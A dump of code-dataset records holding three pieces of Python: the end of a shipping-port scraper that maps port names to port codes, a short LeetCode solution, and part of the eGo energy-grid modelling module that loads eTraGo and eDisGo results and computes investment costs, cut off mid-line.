\n\t\t\t\t\n\t\t\telif \"mumbai\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"mumbai\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"IN BOM\"   \n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\telif \"nagoya\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"nagoya\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"JP NGO\"   \n\n\t\t\telif \"port elizabeth\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"port elizabeth\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"ZA PLZ\"   \n\n\t\t\telif \"port everglades\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"port everglades\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"US PEF\"   \n\n\t\t\t\t\n\t\t\telif \"port hueneme\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"port hueneme\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"\"   \n\n\t\t\telif \"port kelang\" in row['Port Name'].lower() or \"port klang\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"port kelang\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"MY PKL\"   \n\n\t\t\telif \"port kembla\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"port kembla\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"\"   \n\n\t\t\telif \"port of spain\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"port of spain\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"\"   \n\n\t\t\telif \"port louis\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"port louis\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"MU PLU\"   \n\n\t\t\telif \"port moresby\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"port moresby\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"PG POM\"   \n\n\t\t\telif \"port reunion\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"port reunion\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"RE PDG\"   \n\n\t\t\telif \"port sudan\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"port sudan\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"SD PZU\"   \n\n\t\t\telif \"port-au-prince\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"port-au-prince\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"\"   \n\n\t\t\telif \"pt elizabeth\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"pt elizabeth\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"ZA PLZ\"   \n\n\t\t\telif \"puerto\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"puerto\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"HN PCR\"   \n\n\t\t\telif \"qingdao\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"qingdao\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"CN TAO\"   \n\n\t\t\telif (\"rio de janeiro\" in row['Port Name'].lower()) or (\"rio\" == row['Port Name'].lower()):\n\t\t\t\tMasterDf['Port Name'][index]=\"rio de janeiro\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"BR RIO\"   \n\n\t\t\telif \"rio grande\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"rio grande\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"BR RIG\"   \n\n\t\t\telif \"rio haina\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"rio haina\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"DO HAI\"   \n\n\t\t\telif (\"san antonio\" in row['Port Name'].lower()) or (\"san\" == row['Port Name'].lower()):\n\t\t\t\tMasterDf['Port Name'][index]=\"san antonio\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"CL SAI\"   \n\t\t\t\t\n\t\t\telif \"san diego\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"san diego\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"\"   \n\t\t\t\t\n\t\t\telif \"san juan\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"san juan\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"NI SJS\"  \n\t\t\t\t\n\t\t\telif (\"santa\" == row['Port Name'].lower()) or (\"santa marta\" == row['Port Name'].lower()):\n\t\t\t\tMasterDf['Port Name'][index]=\"santa marta\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"AR SFN\"   \n\t\t\t\t\n\t\t\telif \"savannah\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"savannah\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"US SAV\"   \n\t\t\t\t\n\t\t\telif \"st john's\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"st john's (ant)\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"\"   \n\n\t\t\telif \"st. petersburg\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"st. petersburg\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"RU LED\"   \n\n\t\t\telif \"suape\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"suape\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"\"   \n\n\t\t\telif \"tamatave\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"tamatave\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"MG TOA\"   \n\n\t\t\telif \"Tianjin\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"Tianjin\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"CN TSN\"   \n\n\t\t\telif \"toyohashi\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"toyohashi\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"\"   \n\n\t\t\telif \"veracruz\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"veracruz\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"MX VER\"   \n\n\t\t\telif \"xingang\" in row['Port Name'].lower():\n\t\t\t\tMasterDf['Port Name'][index]=\"xingang\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"\"   \n\t\t\t#add fri 17-jul\n\t\t\telif (\"goteborg\" in row['Port Name'].lower()) or (\"gothenburg\" in row['Port Name'].lower().strip()):\n\t\t\t\tMasterDf['Port Name'][index]=\"Gothenburg\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"SE GOT\"\n\n\t\t\telif (\"antwerp\" in row['Port Name'].lower().strip()) or (\"antwerpen\" in row['Port Name'].lower().strip()):\n\t\t\t\tMasterDf['Port Name'][index]=\"Antwerpen\".title()\n\t\t\t\tMasterDf['port_code'][index]=\"BE ANR\"\n\t\t\t#end\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\telse:\n\t\t\t\t#print(MasterDf['Port Name'][index])\n\t\t\t\tMasterDf['Port Name'][index]=MasterDf['Port Name'][index].title()\n\n\n\tindex1=list(MasterDf.index[MasterDf['Port Name']==\"Port\"]) \n\t\t\n\tindex2=list(MasterDf.index[MasterDf['Port Name']==\"New\"]) \n\tindex3=list(MasterDf.loc[pd.isna(MasterDf[\"Port Name\"]), :].index)\n\ttotalDel=index1+index2+index3\n\ttotalDel=list(set(totalDel))\n\tMasterDf.drop(totalDel , inplace=True)\n\n\t#----------------------------------------new code for port code-----------------------------------------------\n\t \n\tMasterDf=MasterDf.replace(np.nan,'')\n\n\tport_MasterDf1=pd.read_csv(\"NewPortCode.csv\")\n\n\tport_MasterDf1['Port Name']=port_MasterDf1['Port Name'].apply(lambda x :x.strip())\n\n\n\tfor index,row in MasterDf.iterrows():\n\t\tif len(row['port_code'])<4 and len(row['port_code'])!=2:\n\t\t\tif port_MasterDf1[port_MasterDf1['Port Name']==row['Port Name'].strip()].shape[0]>0:\n\t\t\t\tportCode=port_MasterDf1[port_MasterDf1['Port Name']==row['Port Name'].strip()]['Port_code'].values\n\t\t\t\tMasterDf['port_code'][index]=portCode[0]\n\n\n\tMasterDf=MasterDf.drop_duplicates(subset=['Carrier','Route Code','Vessel Name','Vessel Capacity (in MT)','Vessel Ramp Height (in meters)','Voyage Number','Port Name','port_code','Date of Arrival (ETA)'])\n\n\n\n\t# index1=list(MasterDf.index[MasterDf['Port Name']==\"\"]) \n\t\t\n\tindex2=list(MasterDf.index[MasterDf['port_code']==\"\"]) \n\n\t#index3=list(MasterDf.index[MasterDf['Date of Arrival (ETA)']==\"\"]) \n\n\n\ttotalDel=index2\n\n\ttotalDel=list(set(totalDel))\n\n\tMasterDf.drop(totalDel , inplace=True)\n\n\tMasterDf.reset_index(drop=True, inplace=True)    \n\n\t#----------------------------------------------------------- End  ---------------------------------------------------\n\tMasterDf['Vessel Capacity (in MT)']=MasterDf['Vessel Capacity (in MT)'].apply(lambda x :OnlyNumbersRampHeight_RampCapacity(x))\n\n\tMasterDf['Vessel Ramp Height (in meters)']=MasterDf['Vessel Ramp Height (in meters)'].apply(lambda x :OnlyNumbersRampHeight_RampCapacity(x))\n\n\n\tMasterDf.to_csv(\"hog.csv\", index=False)\n\n\tprint(\"Complete Scrap hog\")\n\tprint(\"HOG completed--- %s seconds ---\" % (time.time() - start_time))\n\tsleep(2)#after 10 second remove file\nexcept Exception as e:\n\tprint(e)\n\tpass   \n\n\t\ndriver.close();\n\ndriver.quit();\n\n\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t","repo_name":"AmitKarmakar88/ShippingScraper","sub_path":"scraper/hog.py","file_name":"hog.py","file_ext":"py","file_size_in_byte":22105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"45363512601","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Apr 08 18:52:41 2018\r\n\r\n@author: Tsingzao\r\n\"\"\"\r\n\r\nclass Solution(object):\r\n    def isOneBitCharacter(self, bits):\r\n        \"\"\"\r\n        :type bits: List[int]\r\n        :rtype: bool\r\n        \"\"\"\r\n        i = 0\r\n        while i < len(bits)-1:\r\n            if bits[i] == 1:\r\n                i = i + 2\r\n            else:\r\n                i = i + 1\r\n        return i == len(bits)-1","repo_name":"Tsingzao/MyLeetCode","sub_path":"1-bit and 2-bit Characters.py","file_name":"1-bit and 2-bit Characters.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"16155223538","text":"import logging\nimport os\n\nimport pandas as pd\n\nif \"READTHEDOCS\" not in os.environ:\n    import re\n\n    from importlib import import_module\n\n    import pypsa\n\n    from egoio.db_tables.model_draft import EgoGridPfHvSource as Source\n    from egoio.db_tables.model_draft import EgoGridPfHvTempResolution as TempResolution\n    from egoio.tools import db\n    from etrago import Etrago\n    from etrago.appl import run_etrago\n    from etrago.tools.io import load_config_file\n    from sqlalchemy import and_\n    from sqlalchemy.orm import sessionmaker\n\n    from ego.tools.economics import etrago_convert_overnight_cost\n    from ego.tools.edisgo_integration import EDisGoNetworks\n    from ego.tools.plots import (\n        igeoplot,\n        plot_edisgo_cluster,\n        plot_grid_storage_investment,\n        plot_line_expansion,\n        plot_storage_expansion,\n        plot_storage_use,\n        power_price_plot,\n    )\n    from ego.tools.utilities import get_scenario_setting\n\nlogger = logging.getLogger(\"ego\")\n\n__copyright__ = \"Europa-Universität Flensburg, \" \"Centre for Sustainable Energy Systems\"\n__license__ = \"GNU Affero General Public License Version 3 (AGPL-3.0)\"\n__author__ = \"wolf_bunke,maltesc\"\n\n\nclass egoBasic(object):\n    \"\"\"The eGo basic class select and creates based on your\n    ``scenario_setting.json`` file  your definded eTraGo and\n    eDisGo results container. And contains the session for the\n    database connection.\n\n    Parameters\n    ----------\n    jsonpath : :obj:`json`\n        Path to ``scenario_setting.json`` file.\n\n    Returns\n    -------\n    json_file : :obj:dict\n        Dictionary of the ``scenario_setting.json`` file\n    session : :sqlalchemy:`sqlalchemy.orm.session.Session<orm/session_basics.html>`\n        SQLAlchemy session to the OEDB\n\n    \"\"\"\n\n    def __init__(self, *args, **kwargs):\n        \"\"\" \"\"\"\n\n        logger.info(\"Using scenario setting: {}\".format(self.jsonpath))\n\n        self.json_file = None\n        self.session = None\n        self.scn_name = None\n\n        self.json_file = get_scenario_setting(jsonpath=self.jsonpath)\n\n        # Database connection from json_file\n        try:\n            conn = db.connection(section=self.json_file[\"eTraGo\"][\"db\"])\n            Session = sessionmaker(bind=conn)\n            self.session = Session()\n            logger.info(\"Connected to Database\")\n        except:  # noqa: E722\n            logger.error(\"Failed connection to Database\", exc_info=True)\n\n        # get scn_name\n        self.scn_name = self.json_file[\"eTraGo\"][\"scn_name\"]\n\n\nclass eTraGoResults(egoBasic):\n    \"\"\"The ``eTraGoResults`` class creates and contains all results\n    of eTraGo  and it's network container for eGo.\n\n    Returns\n    -------\n    network_etrago: :class:`etrago.tools.io.NetworkScenario`\n        eTraGo network object compiled by :func:`etrago.appl.etrago`\n    etrago: :pandas:`pandas.Dataframe<dataframe>`\n        DataFrame which collects several eTraGo results\n    \"\"\"\n\n    def __init__(self, *args, **kwargs):\n        \"\"\" \"\"\"\n        super(eTraGoResults, self).__init__(self, *args, **kwargs)\n        self.etrago = None\n\n        logger.info(\"eTraGo section started\")\n\n        if self.json_file[\"eGo\"][\"result_id\"] is not None:\n\n            # Delete arguments from scenario_setting\n            logger.info(\"Remove given eTraGo settings from scenario_setting\")\n\n            try:\n                self.json_file[\"eGo\"][\"eTraGo\"] = False\n\n                for key in self.json_file[\"eTraGo\"].keys():\n\n                    self.json_file[\"eTraGo\"][key] = \"removed by DB recover\"\n\n                # ToDo add scenario_setting for results\n                self.json_file[\"eTraGo\"][\"db\"] = self.json_file[\"eTraGo\"][\"db\"]\n                logger.info(\"Add eTraGo scenario_setting from oedb result\")\n                # To do ....\n                _prefix = \"EgoGridPfHvResult\"\n                schema = \"model_draft\"\n                packagename = \"egoio.db_tables\"\n                _pkg = import_module(packagename + \".\" + schema)\n\n                # get metadata\n                orm_meta = getattr(_pkg, _prefix + \"Meta\")\n                self.jsonpath = recover_resultsettings(\n                    self.session,\n                    self.json_file,\n                    orm_meta,\n                    self.json_file[\"eGo\"][\"result_id\"],\n                )\n\n                # add etrago_disaggregated_network from DB\n                logger.info(\n                    \"Recovered eTraGo network uses kmeans: {}\".format(\n                        self.json_file[\"eTraGo\"][\"network_clustering_kmeans\"]\n                    )\n                )\n\n            except KeyError:\n                pass\n\n            logger.info(\"Create eTraGo network from oedb result\")\n            self._etrago_network = etrago_from_oedb(self.session, self.json_file)\n\n            if self.json_file[\"eTraGo\"][\"disaggregation\"] is not False:\n                self._etrago_disaggregated_network = self._etrago_network\n            else:\n                logger.warning(\"No disaggregated network found in DB\")\n                self._etrago_disaggregated_network = None\n\n        # create eTraGo NetworkScenario\n        if self.json_file[\"eGo\"][\"eTraGo\"] is True:\n\n            if self.json_file[\"eGo\"].get(\"csv_import_eTraGo\") is not False:\n\n                logger.info(\"Import eTraGo network from csv files\")\n\n                self.etrago = Etrago(\n                    csv_folder_name=self.json_file[\"eGo\"].get(\"csv_import_eTraGo\")\n                )\n\n            else:\n                logger.info(\"Create eTraGo network calcualted by eGo\")\n\n                run_etrago(args=self.json_file[\"eTraGo\"], json_path=None)\n\n\nclass eDisGoResults(eTraGoResults):\n    \"\"\"The ``eDisGoResults`` class create and contains all results\n    of eDisGo and its network containers.\n\n    \"\"\"\n\n    def __init__(self, *args, **kwargs):\n        super(eDisGoResults, self).__init__(self, *args, **kwargs)\n\n        if self.json_file[\"eGo\"][\"eDisGo\"] is True:\n            logger.info(\"Create eDisGo network\")\n\n            self._edisgo = EDisGoNetworks(\n                json_file=self.json_file,\n                etrago_network=self.etrago.disaggregated_network,\n            )\n        else:\n            self._edisgo = None\n            logger.info(\"No eDisGo network\")\n\n    @property\n    def edisgo(self):\n        \"\"\"\n        Contains basic informations about eDisGo\n\n        Returns\n        -------\n        :pandas:`pandas.DataFrame<dataframe>`\n\n        \"\"\"\n        return self._edisgo\n\n\nclass eGo(eDisGoResults):\n    \"\"\"Main eGo module which includs all results and main functionalities.\n\n\n    Returns\n    -------\n    network_etrago: :class:`etrago.tools.io.NetworkScenario`\n        eTraGo network object compiled by :meth:`etrago.appl.etrago`\n    edisgo.network : :class:`ego.tools.edisgo_integration.EDisGoNetworks`\n        Contains multiple eDisGo networks\n    edisgo : :pandas:`pandas.Dataframe<dataframe>`\n        aggregated results of eDisGo\n    etrago : :pandas:`pandas.Dataframe<dataframe>`\n        aggregated results of eTraGo\n\n\n    \"\"\"\n\n    def __init__(self, jsonpath, *args, **kwargs):\n        self.jsonpath = jsonpath\n        super(eGo, self).__init__(self, *args, **kwargs)\n\n        # add total results here\n        self._total_investment_costs = None\n        self._total_operation_costs = None\n        self._calculate_investment_cost()\n        self._storage_costs = None\n        self._ehv_grid_costs = None\n        self._mv_grid_costs = None\n\n    def _calculate_investment_cost(self, storage_mv_integration=True):\n        \"\"\"Get total investment costs of all voltage level for storages\n        and grid expansion\n        \"\"\"\n\n        self._total_inv_cost = pd.DataFrame(\n            columns=[\"component\", \"voltage_level\", \"capital_cost\"]\n        )\n        _grid_ehv = None\n        if \"network\" in self.json_file[\"eTraGo\"][\"extendable\"]:\n            _grid_ehv = self.etrago.grid_investment_costs\n            _grid_ehv[\"component\"] = \"grid\"\n\n            self._total_inv_cost = self._total_inv_cost.append(\n                _grid_ehv, ignore_index=True\n            )\n\n        _storage = None\n        if \"storage\" in self.json_file[\"eTraGo\"][\"extendable\"]:\n            _storage = self.etrago.storage_investment_costs\n            _storage[\"component\"] = \"storage\"\n\n            self._total_inv_cost = self._total_inv_cost.append(\n                _storage, ignore_index=True\n            )\n\n        _grid_mv_lv = None\n        if self.json_file[\"eGo\"][\"eDisGo\"] is True:\n\n            _grid_mv_lv = self.edisgo.grid_investment_costs\n            if _grid_mv_lv is not None:\n                _grid_mv_lv[\"component\"] = \"grid\"\n                _grid_mv_lv[\"differentiation\"] = \"domestic\"\n\n                self._total_inv_cost = self._total_inv_cost.append(\n                    _grid_mv_lv, ignore_index=True\n                )\n\n        # add overnight costs\n        self._total_investment_costs = self._total_inv_cost\n        self._total_investment_costs[\"overnight_costs\"] = etrago_convert_overnight_cost(\n            self._total_investment_costs[\"capital_cost\"], self.json_file\n        )\n\n        # Include MV storages into the _total_investment_costs dataframe\n        if storage_mv_integration is True:\n            if _grid_mv_lv is not None:\n                self._integrate_mv_storage_investment()\n\n        # sort values\n        self._total_investment_costs[\"voltage_level\"] = pd.Categorical(\n            self._total_investment_costs[\"voltage_level\"],\n            [\"ehv\", \"hv\", \"mv\", \"lv\", \"mv/lv\"],\n        )\n        self._total_investment_costs = self._total_investment_costs.sort_values(\n            \"voltage_level\"\n        )\n\n        self._storage_costs = _storage\n        self._ehv_grid_costs = _grid_ehv\n        self._mv_grid_costs = _grid_mv_lv\n\n    def _integrate_mv_storage_investment(self):\n        \"\"\"\n        Updates the total investment costs dataframe and includes the\n        storage integrated in MV grids.\n        \"\"\"\n\n        costs_df = self._total_investment_costs\n\n        total_stor = self._calculate_all_extended_storages()\n        mv_stor = self._calculate_mv_storage()\n\n        integrated_share = mv_stor / total_stor\n\n        try:\n\n            if integrated_share > 0:\n\n                ehv_stor_idx = costs_df.index[\n                    (costs_df[\"component\"] == \"storage\")\n                    & (costs_df[\"voltage_level\"] == \"ehv\")\n                ][0]\n\n                int_capital_costs = (\n                    costs_df.loc[ehv_stor_idx][\"capital_cost\"] * integrated_share\n                )\n                int_overnight_costs = (\n                    costs_df.loc[ehv_stor_idx][\"overnight_costs\"] * integrated_share\n                )\n\n                costs_df.at[ehv_stor_idx, \"capital_cost\"] = (\n                    costs_df.loc[ehv_stor_idx][\"capital_cost\"] - int_capital_costs\n                )\n\n                costs_df.at[ehv_stor_idx, \"overnight_costs\"] = (\n                    costs_df.loc[ehv_stor_idx][\"overnight_costs\"] - int_overnight_costs\n                )\n\n                new_storage_row = {\n                    \"component\": [\"storage\"],\n                    \"voltage_level\": [\"mv\"],\n                    \"differentiation\": [\"domestic\"],\n                    \"capital_cost\": [int_capital_costs],\n                    \"overnight_costs\": [int_overnight_costs],\n                }\n\n                new_storage_row = pd.DataFrame(new_storage_row)\n                costs_df = costs_df.append(new_storage_row)\n\n                self._total_investment_costs = costs_df\n        except:  # noqa: E722\n            logger.info(\"Something went wrong with the MV storage distribution.\")\n\n    def _calculate_all_extended_storages(self):\n        \"\"\"\n        Returns the all extended storage p_nom_opt in MW.\n        \"\"\"\n        etrago_network = self._etrago_disaggregated_network\n\n        stor_df = etrago_network.storage_units.loc[\n            (etrago_network.storage_units[\"p_nom_extendable\"] is True)\n        ]\n\n        stor_df = stor_df[[\"bus\", \"p_nom_opt\"]]\n\n        all_extended_storages = stor_df[\"p_nom_opt\"].sum()\n\n        return all_extended_storages\n\n    def _calculate_mv_storage(self):\n        \"\"\"\n        Returns the storage p_nom_opt in MW, integrated in MV grids\n        \"\"\"\n        etrago_network = self._etrago_disaggregated_network\n\n        min_extended = 0.3\n        stor_df = etrago_network.storage_units.loc[\n            (etrago_network.storage_units[\"p_nom_extendable\"] is True)\n            & (etrago_network.storage_units[\"p_nom_opt\"] > min_extended)\n            & (etrago_network.storage_units[\"max_hours\"] <= 20.0)\n        ]\n\n        stor_df = stor_df[[\"bus\", \"p_nom_opt\"]]\n\n        integrated_storage = 0.0  # Storage integrated in MV grids\n\n        for idx, row in stor_df.iterrows():\n            mv_grid_id = row[\"bus\"]\n            p_nom_opt = row[\"p_nom_opt\"]\n\n            if not mv_grid_id:\n                continue\n\n            logger.info(\n                \"Checking storage integration for MV grid {}\".format(mv_grid_id)\n            )\n\n            grid_choice = self.edisgo.grid_choice\n\n            cluster = grid_choice.loc[\n                [\n                    mv_grid_id in repr_grids\n                    for repr_grids in grid_choice[\"represented_grids\"]\n                ]\n            ]\n\n            if len(cluster) == 0:\n                continue\n\n            else:\n                representative_grid = cluster[\"the_selected_network_id\"].values[0]\n\n            if hasattr(self.edisgo.network[representative_grid], \"network\"):\n                integration_df = self.edisgo.network[\n                    representative_grid\n                ].network.results.storages\n\n                integrated_power = integration_df[\"nominal_power\"].sum() / 1000\n            else:\n                integrated_power = 0.0\n\n            if integrated_power > p_nom_opt:\n                integrated_power = p_nom_opt\n\n            integrated_storage = integrated_storage + integrated_power\n\n        return integrated_storage\n\n    @property\n    def total_investment_costs(self):\n        \"\"\"\n        Contains all investment informations about eGo\n\n        Returns\n        -------\n        :pandas:`pandas.DataFrame<dataframe>`\n\n        \"\"\"\n\n        return self._total_investment_costs\n\n    @property\n    def total_operation_costs(self):\n        \"\"\"\n        Contains all operation costs information about eGo\n\n        Returns\n        -------\n        :pandas:`pandas.DataFrame<dataframe>`\n\n        \"\"\"\n        self._total_operation_costs = self.etrago.operating_costs\n        # append eDisGo\n\n        return self._total_operation_costs\n\n    def plot_total_investment_costs(self, filename=None, display=False, **kwargs):\n        \"\"\"Plot total investment costs\"\"\"\n\n        if filename is None:\n            filename = \"results/plot_total_investment_costs.pdf\"\n            display = True\n\n        return plot_grid_storage_investment(\n            self._total_investment_costs, filename=filename, display=display, **kwargs\n        )\n\n    def plot_power_price(self, filename=None, display=False):\n        \"\"\"Plot power prices per carrier of calculation\"\"\"\n        if filename is None:\n            filename = \"results/plot_power_price.pdf\"\n            display = True\n\n        return power_price_plot(self, filename=filename, display=display)\n\n    def plot_storage_usage(self, filename=None, display=False):\n        \"\"\"Plot storage usage by charge and discharge\"\"\"\n        if filename is None:\n            filename = \"results/plot_storage_usage.pdf\"\n            display = True\n\n        return plot_storage_use(self, filename=filename, display=display)\n\n    def plot_edisgo_cluster(self, filename=None, display=False, **kwargs):\n        \"\"\"Plot the Clustering of selected Dingo networks\"\"\"\n        if filename is None:\n            filename = \"results/plot_edisgo_cluster.pdf\"\n            display = True\n\n        return plot_edisgo_cluster(self, filename=filename, display=display, **kwargs)\n\n    def plot_line_expansion(self, **kwargs):\n        \"\"\"Plot line expantion per line\"\"\"\n\n        return plot_line_expansion(self, **kwargs)\n\n    def plot_storage_expansion(self, **kwargs):\n        \"\"\"Plot storage expantion per bus\"\"\"\n\n        return plot_storage_expansion(self, **kwargs)\n\n    @property\n    def iplot(self):\n        \"\"\"Get iplot of results as html\"\"\"\n        return igeoplot(self)\n\n    # write_results_to_db():\n    logging.info(\"Initialisation of eGo Results\")\n\n\ndef results_to_excel(ego):\n    \"\"\"\n    Wirte results of ego.total_investment_costs to an excel file\n    \"\"\"\n    # Write the results as xlsx file\n    # ToDo add time of calculation to file name\n    # add xlsxwriter to setup\n    writer = pd.ExcelWriter(\"open_ego_results.xlsx\", engine=\"xlsxwriter\")\n\n    # write results of installed Capacity by fuels\n    ego.total_investment_costs.to_excel(\n        writer, index=False, sheet_name=\"Total Calculation\"\n    )\n\n    # Close the Pandas Excel writer and output the Excel file.\n    writer.save()\n    # buses\n\n\ndef etrago_from_oedb(session, json_file):\n    \"\"\"Function which import eTraGo results for the Database by the\n    ``result_id`` number.\n\n    Parameters\n    ----------\n    session : :sqlalchemy:`sqlalchemy.orm.session.Session<orm/session_basics.html>`\n        SQLAlchemy session to the OEDB\n    json_file : :obj:`dict`\n        Dictionary of the ``scenario_setting.json`` file\n\n    Returns\n    -------\n    network_etrago: :class:`etrago.tools.io.NetworkScenario`\n        eTraGo network object compiled by :meth:`etrago.appl.etrago`\n\n    \"\"\"\n\n    result_id = json_file[\"eGo\"][\"result_id\"]\n\n    # functions\n    def map_ormclass(name):\n        \"\"\"\n        Function to map sqlalchemy classes\n        \"\"\"\n        try:\n            _mapped[name] = getattr(_pkg, _prefix + name)\n\n        except AttributeError:\n            logger.warning(\"Relation %s does not exist.\" % name)\n\n        return _mapped\n\n    def id_to_source(query):\n\n        # ormclass = map_ormclass(name)\n        # query = session.query(ormclass).filter(ormclass.result_id == result_id)\n\n        # TODO column naming in database\n        return {k.source_id: k.name for k in query.all()}\n\n    def dataframe_results(name, session, result_id, ormclass):\n        \"\"\"\n        Function to get pandas DataFrames by the result_id\n\n        Parameters\n        ----------\n        session : :sqlalchemy:`sqlalchemy.orm.session.Session<orm/session_basics.html>`\n            SQLAlchemy session to the OEDB\n        \"\"\"\n\n        query = session.query(ormclass).filter(ormclass.result_id == result_id)\n\n        if name == \"Transformer\":\n            name = \"Trafo\"\n\n        df = pd.read_sql(query.statement, session.bind, index_col=name.lower() + \"_id\")\n\n        if name == \"Link\":\n            df[\"bus0\"] = df.bus0.astype(int)\n            df[\"bus1\"] = df.bus1.astype(int)\n\n        if \"source\" in df:\n\n            source_orm = Source\n\n            source_query = session.query(source_orm)\n\n            df.source = df.source.map(id_to_source(source_query))\n\n        if str(ormclass)[:-2].endswith(\"T\"):\n            df = pd.Dataframe()\n\n        return df\n\n    def series_results(name, column, session, result_id, ormclass):\n        \"\"\"\n        Function to get Time Series as pandas DataFrames by the result_id\n\n        Parameters\n        ----------\n        session: : sqlalchemy: `sqlalchemy.orm.session.Session<orm/session_basics.html>`\n            SQLAlchemy session to the OEDB\n        \"\"\"\n\n        # TODO - check index of bus_t and soon is wrong!\n        # TODO: pls make more robust\n\n        id_column = re.findall(r\"[A-Z][^A-Z]*\", name)[0] + \"_\" + \"id\"\n        id_column = id_column.lower()\n\n        query = session.query(\n            getattr(ormclass, id_column), getattr(ormclass, column).label(column)\n        ).filter(and_(ormclass.result_id == result_id))\n\n        df = pd.io.sql.read_sql(\n            query.statement, session.bind, columns=[column], index_col=id_column\n        )\n\n        df.index = df.index.astype(str)\n\n        # change of format to fit pypsa\n        df = df[column].apply(pd.Series).transpose()\n\n        try:\n            assert not df.empty\n            df.index = timeindex\n        except AssertionError:\n            logger.warning(\"No data for {} in column {}.\".format(name, column))\n\n        return df\n\n    # create config for results\n    path = os.getcwd()\n    # add meta_args with args of results\n    config = load_config_file(path + \"/tools/config.json\")[\"results\"]\n\n    # map and Database settings of etrago_from_oedb()\n    _prefix = \"EgoGridPfHvResult\"\n    schema = \"model_draft\"\n    packagename = \"egoio.db_tables\"\n    _pkg = import_module(packagename + \".\" + schema)\n    temp_ormclass = \"TempResolution\"\n    carr_ormclass = \"Source\"\n    _mapped = {}\n\n    # get metadata\n\n    orm_meta = getattr(_pkg, _prefix + \"Meta\")\n\n    # check result_id\n\n    result_id_in = (\n        session.query(orm_meta.result_id).filter(orm_meta.result_id == result_id).all()\n    )\n    if result_id_in:\n        logger.info(\"Choosen result_id %s found in DB\", result_id)\n    else:\n        logger.info(\"Error: result_id not found in DB\")\n\n    # get meta data as args\n    meta_args = recover_resultsettings(session, json_file, orm_meta, result_id)\n\n    # get TempResolution\n    temp = TempResolution\n\n    tr = session.query(\n        temp.temp_id, temp.timesteps, temp.resolution, temp.start_time\n    ).one()\n\n    timeindex = pd.DatetimeIndex(\n        start=tr.start_time, periods=tr.timesteps, freq=tr.resolution\n    )\n\n    timeindex = 